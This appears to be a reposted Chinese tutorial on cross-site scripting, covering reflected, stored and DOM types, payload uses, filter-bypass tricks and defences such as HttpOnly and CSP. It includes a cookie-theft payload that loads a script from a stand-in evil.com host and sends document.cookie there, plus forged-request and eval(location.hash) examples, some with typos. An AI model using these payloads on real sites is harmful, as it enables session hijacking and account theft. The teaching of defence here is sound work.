【XSS】

news2024/9/22 10:13:33

文章目录

        • 0x01 简介
        • 0x02 XSS Payload用法
          • XSS攻击平台及调试JavaScript
        • 0x03 XSS构造技巧
        • XSS漏洞防御策略

跨站脚本攻击,Cross Site Script。(重点在于脚本script)

  分类

  • 反射型、
  • 存储型
  • DOM型

漏洞原理:通过插入script篡改“HTML”内容,控制浏览器的一种攻击。也可以说 诱导用户执行XSS Payload.

0x01 简介
  1. 反射型 / 非持久型XSS
      定义:用户输入 “反射” 给 浏览器;
    示例:
    在这里插入图片描述
      攻击方式:注入、诱导点击

常用脚本标签:

<script>alert(1)</script>
脚本为协议:<a href=’’javascript:alert(1)>     
编码输入: `<img src=1 οnerrοr=a&#x6c;alert(1)>`
  1. 存储型 / 持久性XSS
      定义:将含有script的文本/文件/数据等的 用户输入,存储到server。

  攻击方式:存储内容的地方如博客,文件上传的地方。

  1. DOM型
      定义:修改页面的DOM节点形成。从效属于反射型XSS。
    示例:
    <a href='' onlick=alert(/xss/)//' 内容</a> 替换下面的a标签。
    在这里插入图片描述

0x02 XSS Payload用法

(实现XSS攻击script,被 称为“XSS Payload”)

  • cookie攻击/cookie劫持
  • 构造GET与POST请求
  • XSS钓鱼
  • 识别浏览器
  • 识别软件
  • 真实IP
  1. cookie劫持示例:
//1 使用户 加载远程脚本
http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js ></script>
//2 在evil.js中的代码窃取Cookie
var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
//3 到server看cookie,登录相同页面输入

防止“Cookie劫持”方法:Cookied的“HttpOnlu”标识

  1. 构造GET与POST请求

具体方式:构造url、图片或表单、通过XMLHttpRequest发送一个POST请求。

# 构造相关url
http://../XX?m=delete&id=123383
# 构造并插入图片
var img = document.createElement("img");
img.src = "http://xx?m=delete&id=123383";
document.body.appenChild(img);

(构造时,若js麻烦,直接使用html)

  1. XSS钓鱼
    实现思路:利用JS在页面伪造登录框,输入密码后被发送到黑客的server。(被用来窃取密码。)

  2. 识别用户浏览器
      为深入渗透时,可能需要知道用户个人信息,就可能要进行浏览器内存攻击,给计算机植入木马。
      方法:用JS获取浏览器User-Agent;
      缺点:可被代理伪造;
    更准确的方法:根据不通浏览器,同一浏览器不通版本差别 来识别。
    安全研究者Gareth Heyes曾经找到一种更巧妙的方法。

//Firefox detector 2/3 by DoctorDan
FF=/a/[-1]=='a'
//Firefox 3 by me:-
FF3=(function x(){})[-5]=='x'
//Firefox 2 by me:-
FF2=(function x(){})[-6]=='x'
//IE detector I posted previously
IE='\v'=='v'
//Safari detector by me
Saf=/a/.__proto__=='//'
//Chrome by me
Chr=/source/.test((/a/.toString+''))
//Opera by me
Op=/^function \(/.test([].sort)
//IE6 detector using conditionals
try {IE6=@cc_on @_jscript_version <=
5.7&&@_jscript_build<10000

精简为一行代码,即

B=(function x(){})[-5]=='x'?'FF3':(function
x(){})[-6]=='x'?'FF2':/a/
[-1]=='a'?'FF':'\v'=='v'?'IE':/
a/.__proto__=='//'?'Saf':/s/.
test(/a/.toString)?'Chr':/^function
\(/.test([].sort)?'Op':'Unknown'
  1. 识别用户安装软件
    浏览器的ActiveX的clas-sid是否有软件的控件clas-sid
    插件对象有访问全部插件的权限
XSS攻击平台及调试JavaScript

收集了XSS Payload。演示XSS的危害及方便渗透使用。

  • Attack API
  • BeEF
  • XSS-Proxy

调试JS:Firebug、HttpWatch、Fiddler

0x03 XSS构造技巧
  1. 利用字符编码
    通过输入端与返回不同编码,导致转义失效;
  2. 绕过 长度限制
    XSS Payload插入时大多有内容长度限制,限制了字符如何绕喃?
      答1:利用事件(Event)缩短字节数:
    <input type=text value="" onclick=alert(1)//"/>
    最好有“藏代码地方”用事件调用:“location.hash”,并且其内容不会再HTTP包发送server,server日志找不到。
    js:" onclick="eval(location.hash.substr(1))
    url:http://xx/#alert(1)
    当可以控制2个框内容时,也可抓包将输入框之间的HTML内容注释掉,来突破输入字节限制。
  3. <base>标签
    使用base标签来劫持 服务器上 用相对地址的图片
  4. window.name绕过xss限制

XSS 防御

  1. HttpOnly:禁止页面的JavaScript访问带有HttpOnly属性的cookie。(不同语言有不同设置httponly的方法)
  2. 输入检查,被称为“XSS Filter”。(对敏感字符检查)网上有许多开源的XSS Filter输入检查。
  3. 输出检查:检查富文本内容、编码 / 转义输出变量

常见 XSS编码绕过编码:JS编码、HTML实体编码和URL编码

XSS漏洞防御策略

漏洞原理:代码和数据不分离。表现:对用户的输入进行原样地输出。

防御:

输入环节

​ 限制页面输入长度、特殊字符、后端代码限制输入长度和特殊字符(前后分离)

​ 使用过滤器统一处理 优先使用开源工具包如apache text、owasp AntiSamy或自定义处理规则或购买第三方解决方案如阿里云防火墙

Cookie防护:

​ cookie属性设置为只可读 httpOnly

​ X-Frame-Options 响应头(是否优先 frame、iframe等标记)

输出环节

​ 显示时对字符进行转义处理(几乎完全依赖第三方开源)

XSS解决方案 内容安全策略CSP(springboot提供额外安全层,site发送CSP头部授权浏览器授权和禁止操作)

xss 漏洞修复建议
因为xss漏洞涉及输入和输出两部分,所以其修复也分为两种。
• 过滤输入的数据,包括“’” “””“<”“〉”“ on *”等非法字符
• 对输出到页面的数据进行相应的编码转换,包括HTML实体编码、 JavaS cript
编码等

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1930138.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

单片机设计_自行车码表(AT89C51, LCD1602, DS1302,霍尔传感器)

想要更多项目私wo!!! 一、电路设计 系统采用51单片机LCD1602液晶DS1302时钟模块霍尔传感器电机按键模块蜂鸣器报警模块设计而成。 产品自带单片机上电复位电路、手动复位电路&#xff08;复位按键&#xff09;、晶振电路&#xff08;给单片机提供时钟周期&#xff09;。 …

下载安装VSCode并添加插件作为仓颉编程入门编辑器

VSCode下载地址&#xff1a;下载 Visual Studio Code - Mac、Linux、Windows 插件下载&#xff1a;GitCode - 全球开发者的开源社区,开源代码托管平台 仓颉社区中下载解压 cangjie.vsix 插件 打开VSCode 按 Ctrl Shift X 弹出下图 按照上图步骤依次点击选中我们下…

网络编程+文件上传操作的理解

前言&#xff1a; 概述:在网络通信协议下,不同计算机上运行的程序,进行数据传输 比如:通信,视频通话,网游,邮件等 只要是计算机之间通过网络进行数据传输,就有网络编程的存在 &#xff08;下面单纯是在Java基础中了解了一下网络编程&#xff0c;感觉理…

深度学习 | CNN 基本原理

目录 1 什么是 CNN2 输入层3 卷积层3.1 卷积操作3.2 Padding 零填充3.3 处理彩色图像 4 池化层4.1 池化操作4.2 池化的平移不变性 5 全连接层6 输出层 前言 这篇博客不够详细&#xff0c;因为没有介绍卷积操作的具体计算&#xff1b;但是它介绍了 CNN 各层次的功能…

08 模型演化根本 深度学习推荐算法的五大范式

易经》“九三&#xff1a;君于终日乾乾&#xff1b;夕惕若&#xff0c;厉无咎”。九三是指阳爻在卦中处于第三位&#xff0c;已经到达中位&#xff0c;惕龙指这个阶段逐渐理性&#xff0c;德才已经显现&#xff0c;会引人注目&#xff1b;但要反思自己的不足&#xff0c;努力不…

昇思25天学习打卡营|MQ(mindquantum)编程实践

学AI还能赢奖品&#xff1f;每天30分钟&#xff0c;25天打通AI任督二脉 (qq.com) 安装 Packages # 安装 mindquantum, networkx !pip install mindquantum -i https://pypi.mirrors.ustc.edu.cn/simple !pip install networkx -i https://pypi.mirrors.ustc.edu.cn/simple 安装…

脸书登录指南:如何在同一台设备登录多个Facebook账号?

海外社媒营销人员和跨境卖家现在越来越依赖社交媒体平台来拓展业务和接触潜在客户&#xff0c;尤其是Facebook。然而&#xff0c;在进行脸书登录时&#xff0c;你可能会问&#xff1a;如何在同一台设备上登录多个Facebook账号&#xff0c;而不违反Facebook的使用条款&#xff1…

指针与数组笔试题解析

文章目录 1.一维数组1.1 整型数组1.2 字符数组 2. 二维数组3.指针笔试题3.1 练习13.2 练习23.3 练习3 数组名的意义&#xff1a; 1.sizeof(数组名)&#xff0c;这里的数组表示整个数组&#xff0c;计算的整个数组的大小 2.&数组名&#xff0c;这里的数组名表示整个数组的&a…

【Diffusion学习】【生成式AI】Stable Diffusion、DALL-E、Imagen 背後共同的套路

文章目录 图片生成Framework 需要3个组件&#xff1a;相关论文【Stable Diffusion&#xff0c;DALL-E&#xff0c;Imagen】 具体介绍三个组件1. Text encoder介绍【结论&#xff1a;文字的encoder重要&#xff0c;Diffusion的模型不是很重要&#xff01;】评估指标&#xff1a;…

用go实现限流算法

文章目录 固定窗口优缺点&#xff1a;适用场景&#xff1a;总结&#xff1a; 滑动窗口优缺点&#xff1a;适用场景&#xff1a;总结&#xff1a; 漏桶限流器优缺点&#xff1a;适用场景&#xff1a;总结&#xff1a; 令牌桶优缺点&#xff1a;适用场景&#xff1a;总结&#xf…

定义损失函数并以此训练和评估模型

基础神经网络模型搭建 【Pytorch】数据集的加载和处理&#xff08;一&#xff09; 【Pytorch】数据集的加载和处理&#xff08;二&#xff09; 损失函数计算模型输出和目标之间的距离。通过torch.nn 包可以定义一个负对数似然损失函数&#xff0c;负对数似然损失对于训练具有多…

炎炎夏日,这份锂电AGV叉车保养指南赶紧收藏!

AGV 随着工厂自动化、计算机集成制造系统技术的逐步发展以及柔性制造系统、自动化立体仓库的广泛应用&#xff0c;AGV(Automatic GuidedVehicle)即自动导引车作为联系和调节离散型物流系统以使其作业连续化的必要的自动化搬运装卸手段&#xff0c;其应用范围和技术水平得到了迅…

云服务器实际内存与购买不足量问题

君衍 一、本篇缘由二、问题研究1、dmidecode2、dmesg | grep -i memory 三、kdump四、解决方案1、卸载kdump-tools2、清理依赖包3、修改配置文件4、重新生成配置文件5、重启服务器6、再次查看 一、本篇缘由 本篇由于最近买了云服务器&#xff0c;之前基本在本地使用VMware进行虚…

初识单片机之点亮LED灯

1、前言 如果说编程的开始是Hello world,那么单片机的开始就是点亮LED灯&#xff0c;这个操作最直接的展示了单片机强大的控制功能&#xff0c;这里我就以直接点亮指定位置的LED灯的形式演示这个功能。 2、原理介绍 我的单片机的LED灯都是接在单片机的P1口&#xff0c;从P10~P…

【数据结构(邓俊辉)学习笔记】高级搜索树02——B树

文章目录 1. 大数据1.1 640 KB1.2 越来越大的数据1.3 越来越小的内存1.4 一秒与一天1.5 分级I/O1.6 1B 1KB 2. 结构2.1 观察体验2.2 多路平衡2.3 还是I/O2.4 深度统一2.5 阶次含义2.6 紧凑表示2.7 BTNode2.8 BTree 3. 查找3.1 算法过程3.2 操作实例3.3 算法实现3.4 主次成本3.…

YOLOv8白皮书-第Y8周:yolov8.yaml文件解读

本文为365天深度学习训练营中的学习记录博客 原作者&#xff1a;K同学啊|接辅导、项目定制 请根据YOLOv8n、YOLOv8s模型的结构输出&#xff0c;手写出YOLOv8l的模型输出 文件位置&#xff1a;./ultralytics/cfg/models/v8/yolov8.yaml 一、参数配置 # Parameters nc: 80 # n…

Bug:时间字段显示有问题

Bug&#xff1a;时间字段显示有问题 文章目录 Bug&#xff1a;时间字段显示有问题1、问题2、解决方法一&#xff1a;添加注解3、解决方法二&#xff1a;消息转换器自定义对象映射器配置消息转换器 1、问题 ​ 在后端传输时间给前端的时候&#xff0c;发现前端的时间显示有问题…

设计模式总结(设计模式的原则及分类)

1.什么是设计模式&#xff1f; 设计模式(Design pattern)代表了最佳的实践&#xff0c;通常被有经验的面向对象的软件开发人员所采用。设计模式是软件开发人员在软件开发过程中面临的一般问题的解决方案。这些解决方案是众多软件开发人员经过相当长的一段时间的试验和错误总结…

自动化任务调度,轻松管理海量数据采集项目

摘要&#xff1a; 本文深入探讨了在数据驱动时代&#xff0c;如何通过自动化任务调度轻松驾驭海量数据采集项目&#xff0c;提升工作效率&#xff0c;确保数据处理的准确性和及时性。我们分享了一系列实用策略与工具推荐&#xff0c;帮助企业和开发者优化数据采集流程&#xf…

SQL 中的 EXISTS 子句:探究其用途与应用

目录 EXISTS 子句简介语法 EXISTS 与 NOT EXISTSEXISTS 子句的工作原理实际应用场景场景一&#xff1a;筛选存在关联数据的记录场景二&#xff1a;优化查询性能 EXISTS 与其他 SQL 结构的比较EXISTS vs. JOINEXISTS vs. IN 多重 EXISTS 条件在 UPDATE 语句中使用 EXISTS常见问题…